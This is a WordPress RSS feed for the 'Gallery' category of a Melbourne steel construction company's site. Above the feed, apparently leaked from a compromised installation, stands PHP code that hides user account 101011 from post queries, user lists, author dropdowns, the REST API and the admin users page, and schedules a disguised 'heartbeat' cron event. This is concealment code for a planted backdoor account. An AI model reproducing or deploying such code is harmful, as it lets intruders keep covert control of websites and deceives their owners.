add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 101011;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 101011 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 101011;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 101011;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-101011{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/tptsteel/public_html/wp-content/plugins/advanced-custom-fields/acf.php:1038) in <b>/home/tptsteel/public_html/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gallery &#8211; TPT Steel Construction Melbourne</title>
	<atom:link href="http://tptsteelconstruction.com.au/category/gallery/feed/" rel="self" type="application/rss+xml" />
	<link>http://tptsteelconstruction.com.au</link>
	<description></description>
	<lastBuildDate>Wed, 02 Jun 2021 03:40:00 +0000</lastBuildDate>
	<language>en-AU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.26</generator>
	<item>
		<title>Structural Steel</title>
		<link>http://tptsteelconstruction.com.au/structural/</link>
		<comments>http://tptsteelconstruction.com.au/structural/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 05:33:22 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=185</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/structural/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stairs &#038; Handrails</title>
		<link>http://tptsteelconstruction.com.au/178/</link>
		<comments>http://tptsteelconstruction.com.au/178/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 05:24:56 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=178</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/178/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mezzanine Floor</title>
		<link>http://tptsteelconstruction.com.au/mezzanine-floor/</link>
		<comments>http://tptsteelconstruction.com.au/mezzanine-floor/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 05:15:05 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=138</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/mezzanine-floor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Builders&#8217; Steel</title>
		<link>http://tptsteelconstruction.com.au/builders-steel/</link>
		<comments>http://tptsteelconstruction.com.au/builders-steel/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 05:09:26 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=133</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/builders-steel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aluminium Fabrication</title>
		<link>http://tptsteelconstruction.com.au/aluminium-fabrication/</link>
		<comments>http://tptsteelconstruction.com.au/aluminium-fabrication/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 05:08:12 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=127</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/aluminium-fabrication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aircon &#038; Plant Platform</title>
		<link>http://tptsteelconstruction.com.au/aircon-plant-platform/</link>
		<comments>http://tptsteelconstruction.com.au/aircon-plant-platform/#respond</comments>
		<pubDate>Tue, 20 Jun 2017 02:38:57 +0000</pubDate>
		<dc:creator><![CDATA[TPT]]></dc:creator>
				<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://tptsteelconstruction.com.au/?p=79</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://tptsteelconstruction.com.au/aircon-plant-platform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
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